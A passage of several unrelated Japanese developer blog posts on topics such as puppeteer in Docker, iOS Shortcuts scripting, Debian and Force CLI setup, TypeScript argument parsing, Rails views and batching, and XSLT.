puppeteer-coreにしたので、Chromeの実行パスを指定する必要があります。

```sh
# which google-chrome-stable
/usr/bin/google-chrome-stable
```

```javascript

const browser = await puppeteer.launch({
  executablePath: '/usr/bin/google-chrome-stable'
});
```

以上で、無事CloudRun移植に必要なDockerfileのベースが出来上がりました。これをもとに追加の設定を入れ込んでみたいと思います。
【個人アプリ作成】情報管理アプリ制作8日目


昨日取り掛かった内容ではありますが、書いていきます。

#今日取り組んだこと

>・周りの機能の要件定義
・画面デザイン

マイページはあらかた完成したので、情報統制・管理アプリに必要な情報を取ってきて画面に表示させるという機能を要件定義しました。今日の学びとしては、


>・「devise」について、機能を継承したControllerを作成（Usersコントローラー）して、Usersコントローラーと、アソシエーションで繋ぎ、データを集約する機能を実現する
・上記のコントローラー機能をdeviseに継承することで、Google認証の伏線にする

全体的なデータの流れを把握して、必要なテーブル・それらの関連性を描かないといけないことに気がつき個人アプリの楽しさ・難しさを実感しました。
これまでの作る手順や完成形の決まっていたスクールのアプリとは違い、自分で作るのは難しいけど楽しいものですね。



#悩み

機能を作っていくとあれもできたらいいな、これも作りたいと派生して作りたい機能が次から次へと思いつきます。
これは自分が最初に想定したブレストが不足していたことだとは思いますが、作ってみて初めて思いつく機能があります。

ブレストから全部は流石に難しいので、Minimumで作成するべき機能を決めて取り組み、第二フェーズでそれらを追加実装する形で実装していきたいと思います。
【3D OD Stereo】Object-Centric Stereo : Stereo Depthで3D Object Detection!!

<h1>Object-Centric Stereo Matching for 3D Object Detection</h1>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/482094/b669bca1-2242-0c7e-1813-f70391ee7b90.png)

事前知識としてInstance Segmentation, Stereo Depth Estimation, 3D Object Detection(LiDAR系で使われている奴)を理解しておくと、ただ3つのModuleの組み合わせなので簡単に理解出来ると思います。

<h1>新規性</h1>
<h2>パイプライン</h2>
水色の矢印がInstance Segmentationを表していて。
紫色の矢印がStereo Depthを表しています。
Depth Estimationの3次元情報をInstance Segmentationで得たエリアのpixelをcropのみくり抜くことでInstance Disparity Mapを作ります。
最後にお好きな3D Object Detectorを使えば3D Bounding Boxが推定出来ます

<h2>Object-Centric Stereo stereo matching</h2>
普通のPSMNetなどのstreo matchingは計算が遅いので、画像全体ではなく、2D DetectionされたエリアのみにStereo Matchingをすれば早くなるだろうというアイデア。

SSIM(Structure Of Similarity)で左と右の画像で対応するBoundingBoxを見つけるそうです。

<h1>結論</h1>
・Instance Segmentation, Stereo Depth Estimation, 3D Object Detectionを組み合わせる事でStereo Cameraのみで3次元の物体の位置を推定する事が出来ました。

・Object-Centric Stereo stereo matchingは正直2D Detectorを右と左で2回行うか、Stereo Matchingを画像全体に行うかどちらかを選ぶかなんですが、使ってる2D DetectorとStereo Matchingの計算の速さによってどっちのシステムが良いか決まります。僕はSSIMで物体をAssociationするというアイデアが面白いと思うのですが、混雑している道路や人が横に並んでいたらAssociationが失敗する可能性が高いのではと思ってしまいました。だったら早いStereo Matchingをしたほうがシンプルで良いと思います。

<h1>参考文献</h1>
Object-Centric Stereo Matching for 3D Object Detection
https://arxiv.org/pdf/1909.07566.pdf
iosショートカットの凄技でこんなこともできます

みなさんショートカット使ってますか？

https://support.apple.com/ja-jp/guide/shortcuts/welcome/ios
https://qiita.com/tags/shortcuts

もともとは Workflow というサードパーティアプリだったのですが、 Apple に買収され、iOS に組み込まれてさらにパワフルなツールになりました。

最近だと、ホーム画面のアプリ起動アイコンをカスタマイズする方法としてニュースに取り上げられたりしています。

さて、そんなショートカット機能、ぱっと見はブロックプログラミングみたいな、最近流行りのノーコードみたいな感じで、「コードを書ける俺には必要ないぜ」と見くびって深堀りしていない諸氏も多いことでしょう。

さて本日は、プログラミング大好きな皆さんを刺激する技をご紹介します。

## 「WebページでJavaScriptを実行」アクション
![4A014759-3DB2-4430-A8D4-E092FBD405D0.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1610/93afb0ce-d1fb-6bf2-ec63-ec0e7ecf4836.png)

まずはこちら。御覧の通り、JavaScriptのコードを実行できそうな気配満々のアクションです。アプリ不要で、標準でついてます。
Safariで表示中のページの Content Scope に JavaScript を埋め込んで実行できる、というもので、一昔前に流行した bookmarklet のように使うことができます。
戻り値を返すことができ、それを次のアクションへつなげるので、サイト上から要素を拾ってリマインダーに登録、といったようなことも簡単にできます。戻り値は `completion()` の呼び出しで返すことになっているので、非同期処理の結果を取得することもできます。

ただし、スクリプトの実行には「Safariウェブページ」というオブジェクトが必要です。
ショートカット起動からあらかじめ指定したURLにアクセスして云々みたいな使い方は出来ず、iOS の safari ブラウザのシェアシートからショートカットを起動することになります。 (筆者は発見できませんでしたが、何か裏技をご存知の方はぜひコメントください！)

便利だけど、期待していたのとちょっと違う、と思った方は次節へどうぞ。

## 「Scriptable」アプリ
https://scriptable.app/
![72112C9C-9C98-4426-88B3-4AC17EBBFE8B.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1610/33307bf7-7581-7727-995c-dcc6bc06700d.png)
無料アプリです。インストールすると「ショートカット」アプリから Scriptable アクションを呼び出して任意のJavaScriptを実行でき、戻り値をショートカットアプリに返すこともできます。
上のスクショは、 Google Cloud のインスタンスを起動、停止するために私が書いたものです。こんな感じで Web API を自在に呼び出すことができます。 ([gist](https://gist.github.com/kuboon/074188de6935d67c3e6c8d24360ceea6) に置いておきました)

なぜわざわざこんなことを？という方に念のため説明しますと、ショートカットに「マシン起動」のような名前をつけて保存しておくと、 Apple Watch の竜頭を押しながら「マシン起動」というだけで GCP インスタンスを立ち上げることができるのです。戦隊モノ気分です。便利です。

独自のAPIを持っており、 iOS の標準カレンダーやリマインダーへのアクセスもできるので、ショートカットアプリでぽちぽちするのが大変なループ処理や if 分岐をコードで書けます。
iCloud ドライブにそのままテキストファイルで保存されているので、 Mac や PC で iCloud 接続すれば、使いなれたエディタとキーボードでコード編集することができます。

iOS14 の Widget を出力する機能もあり、任意の WebAPI の実行結果をウィジェットとしてホーム画面に表示しておくこともできてしまいます。

## 「Pushcut」アプリ
https://www.pushcut.io/
![D4E771B2-7C21-4112-9860-2DA519DB6B37.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1610/2fd5a879-22cc-11a2-6e5d-403a2dff9cfb.png)

こちらも無料アプリです。自作の Web アプリや Slack bot などから手元の iPhone へ通知を送ることができ、それをトリガーにして任意のショートカットを iOS 上で実行できます。
簡単な使い方としては、 Mac/PC で開いているページのURLを iPhone へ送ってすぐに開く、だとか、画像のURLを送るとそのURLの画像をiPhone のクリップボードに入れる、のようなことが実現できます。

# まとめ
ショートカットアプリの持つ強力な連携パワーをさらに引き出す技をいくつかご紹介しました。関連する連携アプリやテクをご存じの方、ぜひコメントください。
debian9 環境設定

#はじめに
ForceCLI環境をつくるための備忘録1

# 設定内容の覚え
## sources.listの変更

```
$cd /etc/apt
$vi sources.list

コメントアウト
# deb cdrom:[Debian GNU/Linux 9.6.0 _Stretch_ - Official i386 DVD Binary-1 20181110-12:19]/ stretch contrib main

#deb cdrom:[Debian GNU/Linux 9.6.0 _Stretch_ - Official i386 DVD Binary-1 20181110-12:19]/ stretch contrib main

以下、追加
deb http://ftp.jp.debian.org/debian/ stretch main contrib non-free
deb http://ftp.jp.debian.org/debian stretch-updates main contrib

deb http://security.debian.org/debian-security stretch/updates main contrib
deb-src http://security.debian.org/debian-security stretch/updates main contrib
```

2023/12/01に行うと404Errorになる。

[apt update && upgradeでエラー発生](https://armadillo.atmark-techno.com/index.php/forum/armadillo/15353)

一部のURLが変わっているみたい。

```
* http://deb.debian.org/debian -> http://archive.debian.org/debian/
* http://security.debian.org/debian-security -> http://archive.debian.org/debian-security/
```


## 時刻合わせ
```
$apt-get update
$apt-get install ntpdate
NICTの日本標準時と同期する
$ntpdate -bv ntp.nict.jp
ハードウェア日時をシステム日時にJST(local time)で合わせる
$hwclock --systohc --localtime

NTPサーバーのinstall
$apt-get install ntp
```
引用先はこちら(http://www.green-pen.jp/ntp.html)

## goのインストールほか
```
https://golang.org/doc/install?download=go1.11.4.linux-386.tar.gz
```

##Force CLIのインストール
```
$go get -u github.com/ForceCLI/force
go: missing Git command. See https://golang.org/s/gogetcmd
package github.com/ForceCLI/force: exec: "git": executable file not found in $PATH

PATHを通す
vi .bashrc 

PATH=$PATH:/usr/local/go/bin:
export PATH
```

## gitのインストール（上記がエラーになるので、先にいれておく）
```
apt-get install git
```

引用先はこちら(https://git-scm.com/download/linux）
force cli : login用の便利ツール

#初めに
本番環境、各種Sandoboxに接続しながら作業している時に簡単にloginできるようにシェルを作りました。その時の備忘録です。

通常は、以下のようにユーザIdを指定してloginします。毎回ユーザIdを入力するのが少々面倒です。

```
$force login -u=admin@xxxxxx.co.jp -p=xxxxxx
```

#今回もシェルを使います
```
$cat fclogin.sh 

#!/bin/sh$
#force cli へのログイン$

tmp=/tmp/tmp-$$
myInput=$1
cat << FIN > $tmp-in
$myInput 1
FIN$

cat $tmp-in |
awk '$1 == "main"{$2=1}
     $1 == "dev" {$2=2}
     $1 == "demo"{$2=3}
     $1 == "par" {$2=4}
                 {print $0}'|
cat > $tmp-select

cat $tmp-select |
awk '{print $2}' |
cat > $tmp-select2
sw=`echo | cat $tmp-select2`

## login 本番環境、開発環境
if [ $sw -eq 1 ]
then
force login -u=admin@xxxxxx.co.jp -p=xxxxxx
fi

## login sandbox
if [ $sw -eq 2 ]
then
force -i=test login -u=admin@xxxxxx.co.jp.dev -p=xxxxxx
fi

終了処理$
rm -f $tmp-*
exit 0

#使い方
本番環境
$fclogin.sh main

sandbox
$fclogin.sh dev

```
TypeScriptでコマンドライン引数を取り扱う


#概要

いつもはちょっとした処理をShellScriptで書きがちだったのですが、TypeScriptで書いてみたところ、コマンドライン引数の取り扱いが綺麗にできたので、備忘録として残しておきます。



#ShellScriptでのコマンドライン引数

Shellでコマンドライン引数をパースして、必須引数の存在チェックや説明メッセージを追加したい場合、色々書き方はあるかと思いますが、下記の様な感じになります。

```script.sh
#!/usr/bin/env bash
set -e

function usage() {
    cat <<EOS
  Usage: $0
  [REQUIRED]
    --account         : AWS account to deploy.
    --stage           : Stage name of the resource to deploy.
  [OPTIONS]
    --params          : Parameters required for deployment.
EOS
    exit 1
}

ARGS=($@)
for ((i = 0; i < ${#ARGS[@]}; i++)); do
    case "${ARGS[$i]}" in
    "--account")
        i=$(expr $i + 1)
        ACCOUNT="${ARGS[$i]}"
        ;;
    "--stage")
        i=$(expr $i + 1)
       STAGE="${ARGS[$i]}"
        ;;
    "--params")
        i=$(expr $i + 1)
       PARAMS="${ARGS[$i]}"
        ;;
    *)
        usage
        ;;
    esac
done

if [ -z "${ACCOUNT}" -o -z "${STAGE}" ]; then
    usage
fi
```

#TypeScriptでのコマンドライン引数

上と同じ様なものをTypeScriptで作成しようとした場合、[yargs](http://yargs.js.org/)を利用するとこんな感じで簡単に実現できます。

```script.ts
import * as yargs from "yargs";

const argv = yargs
  .option("account", {
    description: "AWS account to deploy.",
    demandOption: true,
  })
  .option("stage", {
    description: "Stage name of the resource to deploy.",
    demandOption: true,
  })
  .option("params", {
    description: "Parameters required for deployment.",
    demandOption: false,
  })
  .help().argv;

console.log(argv);
console.log(`${argv.account}`);
console.log(`${argv.stage}`);
console.log(`${argv.params}`);
```

以下の例では、引数を全て入力してスクリプトを実行しています。

```
> ts-node script.ts --account DEV --stage dev --params test 
{
  _: [],
  account: 'DEV',
  stage: 'dev',
  params: 'test',
  '$0': 'script.ts'
}
DEV
dev
test
```

以下の例では、引数が不足している状態でスクリプトを実行しています。
説明メッセージを綺麗に表示してくれます。

```
> ts-node script.ts
オプション:
  --version  バージョンを表示                                             [真偽]
  --account  AWS account to deploy.                                   [必須]
  --stage    Stage name of the resource to deploy.                    [必須]
  --params   Parameters required for deployment.
  --help     ヘルプを表示                                                [真偽]

必須の引数が見つかりません: account, stage
```


#まとめ
TypeScriptを利用するプロジェクトでちょっとしたスクリプトを作る際は、ShellScriptよりもTypeScript × yargsを使うと便利だと感じました。
【Laravel】public staticとは何か？簡単に解説


#public static についての解説
>クラスプロパティもしくはメソッドを static として宣言することで、 クラスのインスタンス化の必要なしにアクセスすることができます。 static なプロパティは、インスタンス化されたクラスオブジェクトから アクセスすることはできません (static なメソッドにはアクセスできます)。
引用：[公式サイト](https://www.php.net/manual/ja/language.oop5.static.php)

要するに`static`をつければ
・インスタン化せずにアクセス
・アクセスのやり方は`クラス::プロパティ`
・逆にstaticをつけたプロパティにはインスタンスからのアクセス不可

#staticをつけないとどうなる？
付けない時はインスタンス化してからアクセスする必要がある

```
変数 = new クラス
変数→メソッド
変数→プロパティ
```
こんな感じ。
treeコマンドをCentOS7やEC2のAmazonLinux2インスタンス内で実行できるようにする

# 目的

- `$ tree`コマンドをCentOS7やAmazonLinux2で実行できるようにする方法をメモ的にまとめる

# 詳細

1. 下記コマンドを実行してtreeコマンドをインストールする。（インストール時にインストール可否を問われるのでyを入力してEnterを押下する。）

    ```terminal
    $ sudo yum install tree
    ```
1. コマンドのインストール後に下記をターミナルで実行し「command not found」 が表示されなければ成功である。

# 参考文献

- [https://www.atmarkit.co.jp/ait/articles/1802/01/news025.html](https://www.atmarkit.co.jp/ait/articles/1802/01/news025.html)
RubyistにもRubyの動くShellを！(reddish)

本記事は[Ateam Finergy Inc. Advent Calendar 2020](https://qiita.com/advent-calendar/2020/ateam-finergy)の8日の記事です。

エイチームフィナジーの内定者アルバイト[＠mizunomi32](https://qiita.com/mizunomi32)です。(2020年12月現在)

# はじめに
煽り文句的な前置きですが、、
『みなさんのShellは何ですか？』
おそらく、BashやZsh、fishなど人それぞれで好みの分かれる話題だと思います。

今回は、中でもRubyで作られたRubyistのためのRuby-powerd Shell「reddish」を紹介します。
~~本当は作るところから書こうとしたけど既にあった…~~


reddish-shell : https://github.com/buty4649/reddish-shell

# Shellで汎用言語が動く良さ 
そもそもShellで使い慣れた言語が動くメリットとして

+ IrbやIPythonを起動する手間が無くなる
+ その場でバッチ処理を回せる
+ その言語の資産(ライブラリ)の恩恵を受けれる
+ ロマンにあふれる
+ ロマンにあふれる
+ ロマンに....　etc.

といったメリットばかりです。

唯一のデメリットとしては、POSIX非互換なものがほとんどです。
POSIX非互換といっても、必要になればBashやshといったShellを使えばいいだけなので、重大な問題じゃ無いはずです。

# 汎用的な言語の動くShellといえば...
すでに汎用的な言語が動くShellにxonshがあります。

## xonsh
汎用的な言語が動くShellといえば、Pythonで作られたPythonistaのためのShell「xonsh」があります。
「エックスオンシェル」ではなく「コンシュ」です！

xonshはCLI上でPythonコードの記述とシェルコマンドを利用できます。
ちょっとしたデータ分析やバッチ処理を書くのに便利で使っていました。

# RubyにもShellを！
最近はRailsを書く事が多く、Rubyでもシェルコマンドと共存できて使えたらどんなに幸せか...
ということで、本題のRuby-powerdなShellの「reddish」の紹介です。 

## reddish
『reddish』の正式名称は『reddish-shell』でreddishは赤みを帯びたという意味でRubyらしくてShellらしく、shで終わることから名付けられたらしいです。
現在は`ｖ０．４．０`で開発途中なので便利な機能やリッチな機能は実装されていなく、最低限の機能＋Rubyが使える状態です。
実装はRubyがメインでパーサー部分がCになっています。 
ポータブル製を高めるためにmrubyを使っているので組み込み環境でも使えることを想定してあります。

# reddishを試してみる！
『reddish』は2020年12月現在、RubyGemとして登録されてなく、Linux向けのバイナリのみ公開されています。
実際に以下の環境でreddishを試してみました。

+ Thinkpad x260
+ CPU: i5-6300U
+ RAM: 16GB
+ Arch Linux + i3wm

実用には機能不足ですが、特に問題なく最低限のShellとしての機能は使えます。

```shell

reddish> echo hoge
hoge
reddish> echo $USER
mizunomi32
reddish> echo cmd1 && false || echo cmd3
cmd1
cmd3
reddish> false || echo cmd2
cmd2
```

いざ使うとなると、
今のところ、『reddish』には設定ファイルといったものは存在しないので、パスや環境変数の設定ができず、ログインシェルにはまだまだ使いにくいです。
(環境変数設定したいときは他のShellで設定したあと『reddish』を起動すると一応使える)
なので、ロマンを追求したいときにだけ使うことをおすすめします！

いつか、設定ファイルの機能を実装して、環境変数やプロンプトのカスタマイズ出来るようにしてほしい...


# おわりに

『xonsh』に比べてまだまだ開発途上の『reddish』ですが、ShellとしてRubyが動くロマンあふれる。
いまは、最小限の機能しかなく、実用するには力不足だけれど、今後に期待したい。
個人的にも、興味深くて応援したい!!

# 参考

+ [シェルを作っている|ぶていのログでぶログ](https://tech.buty4649.net/entry/2020/05/27/211712)
+ [xonsh](https://github.com/xonsh/xonsh)
tableタグについて

## tableタグとは？
　HTMLでテーブル（表）を作成するために使用するタグ。実際にテーブルを作成する際は、以下のtableの子要素やブロック要素を併用して作成する。

|tableの子要素|説明|
|:--|:--|
|thead|テーブルの行（水平方向）をグループ化するタグ。このタグに囲まれた内容は**表のヘッダ部分**としてグループ化される。|
|tbody|テーブルの行（水平方向）をグループ化するタグ。このタグに囲まれた内容は**表のボディ部分**としてグループ化される。|
|tfoot|テーブルの行（水平方向）をグループ化するタグ。このタグに囲まれた内容は**表のフッタ部分**としてグループ化される。|

|ブロック要素|説明|
|:--|:--|
|tr|テーブルの行部分（横方向）を指定するタグ。( table record )|
|th|テーブルの見出しやタイトルとなるセルを指定するタグ。( table theme )|
|td|テーブルのセル内容を作成を指定するタグ。( table date )|


## 記述例

```ruby
<table class="teble">
  <thead>
    <tr>
      <th class="header1">見出し1</th>
      <th class="header2">見出し2</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>内容1</td>
      <td>内容2</td>
    </tr>
  </tbody>
  <tfoot>
    <tr>
      <td>フッタ1</td>
      <td>フッタ2</td>
    </tr>
  </tfoot>
</table>
```

　以下のようになる。

|見出し1|見出し2|
|:--|:--|
|内容1|内容2|
|フッタ2|フッタ1|
Datadogの通知をSMSで受け取る方法

# はじめに
Datadogからの通知をSlackではなくSMSで受信したいという人向けの記事です。

# なぜSlackじゃダメなのか？
Slackは普段業務でチャットしたりDevOpsの通知をさせていたりと他の通知と混ざってしまって障害に近いDatadogからの通知を見逃してしまう可能性があると思います。またTwilioとか連携させたらいいけど個人的に飛ばしたいだけなのであまりコストかけたくないというのが背景としてあります。

# AmazonSNSの設定
まず必要項目を埋めてトピックを作成します。
![AmazonSNS-Topic.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/61433/771d9200-73d2-b544-cc98-2d1a5f9ead05.png)

作成したトピックに対してサブスクリプションを作成します。
![AmazonSNS-sub.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/61433/342143bf-d5c3-2cd3-89ee-f01ce1aef947.png)

# Datadogの設定
Datadogのドキュメントを参照 → [こちら](https://docs.datadoghq.com/ja/integrations/amazon_sns/#datadog-%E3%81%8B%E3%82%89%E3%81%AE-sns-%E9%80%9A%E7%9F%A5%E3%81%AE%E9%80%81%E4%BF%A1)

AmazonSNSをインテグレーションとして設定後は下記のように通知指定可能となります。(Synthetic Testsの設定例)
![dd-alertsetting.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/61433/a4beee34-126b-62df-41cb-b078a7f3f5a1.png)


# ハマりどころ
AmazonSNSのSMSメッセージの使用制限
![AWS Service Quotas.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/61433/b3d33887-8b66-0444-6978-120a416b028b.png)
おわかりでしょうか？
そうなんです。上限値がかなり低めに設定されていますので数回テスト通知すると上限を超えてしまいます:sweat:利用される前に[こちらの記事を参考](https://aws.amazon.com/jp/premiumsupport/knowledge-center/sns-sms-spending-limit-increase/)に予め制限緩和しておくことをオススメします:smiley:
出たぞ新型！パチパチクラッピーー（クリア）のここがスゴイ！

##2020年、我々はクラッピーを１から設計しなおすことにしました。
![スクリーンショット-2020-12-04-23.46.06.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/339cf001-337c-53e5-da0a-d715b379f6fc.jpeg)

**この記事は[#クラッピーチャレンジ Advent Calendar 2020](https://adventar.org/calendars/5187) ７日目の記事です。**

2020年も後わずかとなった頃、ついにそれはやってきました！
今回は先行入手した「新型」パチパチクラッピー、その名も
**「パチパチクラッピーー」**
後ろの「ー」は２つです。

その中でも特に特別バージョンである「クリア」タイプをレビューします。

クリアタイプが特別であるゆえんはなんといっても「手が光る」こと。
１世代前の「帰ってきたパチパチクラッピー」も手は光りましたが、今回は発光モジュールが新しくなっています。
![IMG_9511.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/bbf63239-c1eb-66c3-9ab3-513b6e76ca68.jpeg)

１世代前の発光モジュールは、振動を検出すると一定の明るさチカチカひかるものでした。
新型は振動の強さによって明るさが変わるんです。

[![gifmagazine.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/fc562e15-22f5-ff86-0901-05e429f86d07.gif)](https://youtu.be/UWz1nR0wfRE)

しかも！
１世代前の発光モジュールは電池ごと樹脂に埋め込まれていて電池を交換できませんでしたが、今回の新型はなんと電池交換ができます！

![IMG_9512.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/59911/878a01e7-e725-ee7f-aafb-394cb2941bf3.jpeg)

これで思う存分パチパチできますね。

それでは良いクラッピーーライフを！
[Rails] ビューの作成方法

役割
---
ビューの役割は**「コントローラーから渡されたデータを利用して、Webサイト上での見た目を定義する」**です。


ERB
---
ブラウザに表示できるのは、HTMLファイルだけですが、
データをHTMLでも使用したいときは、Rubyを埋め込むことができるERBという仕組みを使用します。

ERBは、HTMLにRubyの記述を埋め込むことができるテンプレートから、HTMLファイルを生成できるテンプレートエンジンです。

ERBは （Embedded Ruby）の略です。　※Embedded = 埋め込み
拡張子は.erbを使う。


テンプレートエンジン
---
テンプレートエンジンとは、雛形となるテンプレートと、そのテンプレートにデータとなる記述を埋め込むことで、最終的に別のファイルとして生成できる仕組みのことです。
具体的には、コントローラーで定義したインスタンス変数を、ビューで使用できるようになります。


＊記号の意味

<%= 　  %>  　(イコール)　・・・　記述内容を出力する。

```book_controller.rb
def index
  @name = "Shun"
end
```
```index.html.erb　
<%= @name %>
```
とすると、

```html.rb
Shun
```
と出力されます。


※ ifなどを使用する場合
<%　　　%>　(パーセントのみ)　・・・　Rubyコードを埋め込むが、表示はされない。


ERBファイル
---
RailsにおけるERBファイルは、○○.html.erbという名前で作成します。
○○には、対応するアクション名を記入。

Railsは、このERBファイルを元にHTMLファイルを書き出して、最終的にレスポンスに含めて返すことでブラウザに画面を表示させています。

ERBファイル作成方法
---
VS Codeで
app/views/〇〇ディレクトリを二本指でクリックし、〇〇.html.erbを作成しましょう。
Airレジ（修正）

・Airレジ（エアレジ）とは？
　Airレジとは現在、様々な飲食店で利用されているレジアプリのことです。
Airレジは会計や売上分析などの豊富な機能が搭載されており、初めてレジ業務をする人でもカンタンに利用できます。

・Airレジの特徴
１、キャッシュレス決済に対応
　AirレジはAirペイと専用のカードリーダーを使うことで様々なキャッシュレス決済に対応することができます。

２、誰でもカンタンに利用
　Airレジは誰でもカンタンに利用することができます。
ウチの店にも導入されており、入ったばかりの学生でも説明を受ければ一日でレジ業務をこなせるようになりました。

３、導入費用の安さ
　Airレジは基本レジ機能が全てタダで利用することができます。そのためレジの導入費用を削減することができます。

・感想
　とても便利だと思いました。バイトで初めてレジ打ちをする人にも優しいし、カンタンに導入できるため今後様々な店で利用されると思います。

Airレジ公式サイトはこちら
URL：https://airregi.jp/
スタイルシートでXMLを変換する

この記事は[「いのべこ（富士通システムズウェブテクノロジー）Advent Calendar 2020」](https://qiita.com/advent-calendar/2020/fsweb)の5日目の記事です。記事の掲載内容は私自身の見解であり、所属する組織を代表するものではありません（お約束）。

### スタイルシートとスタイルシート
もう、10年以上前なので会話はうろ覚えですが
xmlファイルを加工して、csvにするにあたり、
こんな会話をしたことがありました。

	私：Javaあたりで読み込んで加工しましょうか。
	先輩：xmlの仕様が変わるかもしれないから、スタイルシートのほうがいいな。
	私：え、スタイルシートですか。
	先輩：そう。スタイルシート。
	私：スタイルシートでそんなことできるんですか。
	先輩：？！

2人のすれ違いがどういうことかわかるでしょうか。
当時私はwebアプリを中心にプログラマをやっていました。
私にとってスタイルシートはcssのことでした。
しかし、先輩が言っていたのはxsltのことでした。
つまり、こういうこと。

	私：Javaあたりで読み込んで加工しましょうか。
	先輩：xmlの仕様が変わるかもしれないから、スタイルシート(xlst)のほうがいいな。
	私：え、スタイルシート(css)ですか。
	先輩：そう。スタイルシート(xlst)。
	私：スタイルシート(css)でそんなことできるんですか。
	先輩：？！

見事に会話がかみ合ってませんね。用語定義大事です。

当時の私のようにcssしか知らない人もいるかもしれないということで、xsltについて紹介したいと思います。

###XSLT(XSL Transformations)とは
参考文献「改訂 XML入門」によると下記のように書かれていました。

> XSLT(XSL Transformations)は、XML文書をHTML形式・TEXT形式・別のXML形式に変換するための言語です。

Webアプリケーションを作る際に、HTMLにcssを追加してデザインを変更するように、
XMLファイルにxsltを追加するとデータを別の形式に変換できるようです。

###具体例
参考にXMLファイル、XSLTスタイルシート、出力結果を作ってみました。
サンプルではソートしかしていませんが、連番を振ったり、繰り返し処理を追加したり色々な制御が可能です。

また、書いていたはまったところが2点ありました。うまく出力できないときの参考にして下さい。
1)ルート要素から順にたどるようにスタイルを定義していっているため、
例えばfruitbasketを飛ばして書くと何も出力されませんでした。
2)属性名とタグの違いを見落としており、属性名に@をつけ忘れて出力されないことがありました。

- XMLファイル(fruit.xml)

``` 
<fruitbasket lang="ja">
	<contents>
		<fruit kind="banana"/>
		<fruit kind="apple">
		 <variety>tsugaru</variety>
		</fruit>
		<fruit kind="melon"/>
		<fruit kind="grapes">
		 <variety>muscat</variety>
		</fruit>
	</contents>
</fruitbasket>
```
- XSLTの定義ファイル(fruitxslt.xsl)

``` 
<?xml version="1.0" encoding="Shift_JIS"?>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">

<xsl:output method="text" encoding="Shift_JIS"/>

  <xsl:template match="/">
    <xsl:apply-templates select="fruitbasket"/>
  </xsl:template>

  <xsl:template match="fruitbasket">
    <xsl:apply-templates select="contents"/>
  </xsl:template>

  <xsl:template match="contents">
    <xsl:text>～お品書き～
</xsl:text>
    <xsl:apply-templates select="fruit">
    	<xsl:sort select="@kind" />
    </xsl:apply-templates>
  </xsl:template>

  <xsl:template match="fruit">
    <xsl:value-of select="@kind"/>
    <xsl:text>	</xsl:text>
    <xsl:value-of select="variety"/>
    <xsl:text>
</xsl:text>
  </xsl:template>
  
</xsl:stylesheet>
```

- 実行結果(fruit.txt)

```
～お品書き～
apple	tsugaru
banana	
grapes	muscat
melon	

```


###変換方法
手軽な方法として、サンプルではmsxslを使いました。

[マイクロソフトのダウンロードサイト](http://www.microsoft.com/downloads/ )でmsxslを検索し、ダウンロードします。
msxmlではありません。ご注意ください（私は一度間違えて？？？ってなりました）。

ダウンロードしたexeファイルと、xmlとxslファイルをすべて同じフォルダに置き、
以下のコマンドを実行するとfruit.txtに結果が出力されます。

```
msxsl.exe fruit.xml fruitxslt.xsl -o fruit.txt
```

ほかにもJavaであれば javax.xml.transform.Transformerなどを用いてスタイルシートを使うと変換した結果を受け取ることができます。

Javaでスタイルシートを使わずにコーディングして、XMLのまま読み取って変換して出力することももちろん可能ですが、冒頭の会話のようにxmlの書式が変わる可能性がある場合や、あるいは出力指定形式が変わる可能性がある場合はスタイルシートとしてコードの外に定義しておくことでメンテナンス性が向上する利点があります。

###最後に
非常にざっくりとした説明でしたが、xsltスタイルシートについてどのようなものか伝わりましたでしょうか。
最近はjson形式のデータが多くなり、XML形式のデータはだいぶ減ってきているように感じます。
減ってきてはいますが根強く残っているのもまた事実なので、こういった古い技術も忘れずに活用して、楽々プログラミングを目指したいものです。

###参考文献

今回の記事は、冒頭の会話を受けてXSLT初挑戦したときに購入した下記の本を参考にしながら作成しました。
かなり古い本なので入手困難かもしれません…。

改訂　XML入門
ISBN4-88647-824-7
【Rails】eachメソッドに関して調べた事。eachメソッドの問題点とその対策

csvファイルのインポート機能を実装している際に生じた疑問が今回のお題です。
備忘録として記述しております。
## eachメソッド
eachは、配列の要素ひとつひとつに対して、配列の要素の数だけ繰り返し処理が行えるメソッドです。
### eachメソッドの問題点
DBやファイルからデータを取得してきて処理をしたい場合、
eachメソッドで処理しようとすると対象データがすべてメモリに展開されてしまうのだそうです。
### 【出力時の対策】find_each や find_in_batchesを使う。
find_eachメソッドは1行ずつメモリに展開していくので、
レコード数を気にせず処理をすることができるそうなのです！

```ruby
Stock.each do |stock|
  # 処理
end
```
こちらを・・・

```ruby
Stock.find_each do |stock|
  # 処理
end
```
に変更です！
さらにさらに、find_in_batchesメソッドだと取得したデータを配列でまとめて処理してくれるそうです！
デフォルトで1000件（！）ずつ処理してくれて
batch_sizeオプションで何件ずつ処理するかの指定もできちゃうそうです！

```ruby
Stock.find_in_batches(batch_size: 500) do |stocks|
  # 処理
end
```
ちなみに、batchはバッチと読んで「一束、一団、1回分、ひとまとまり」と言う意味で
まとめてしないさいな！って事ですね。

### 【入力時の対策】foreachを使用する
私がインポートしようとしているcsvファイルで4~500行ぐらいですが
数千行、数万行にも及ぶcsvファイルを一度に展開してしまうと鬼の如くメモリを消費してしまいます。
(数万行ってなんすか、おっかねぇ・・・)
対策として、foreachを使って1行ずつ展開してメモリを節約します。素晴らしい！

```ruby
stocks = CSV.read('tmp/stock_data.csv') # 一度に展開されてしまう
users.each do |row|
  # 処理
end
```
こいつが・・・

```ruby
CSV.foreach('tmp/stock_data.csv') do |row| # 1行ずつ展開してメモリ節約！
  # 処理
end
```
こうだ！
素晴らしいですね。考えついた人・形にした人は神様に思えます。
## 参考にさせていただいたサイト様
https://techblog.lclco.com/entry/2019/07/31/180000
ありがとうございます！
半角数字の正規表現

#半角数字のまとめ
半角数字
`/\A[0-9]+\z/`



###日付
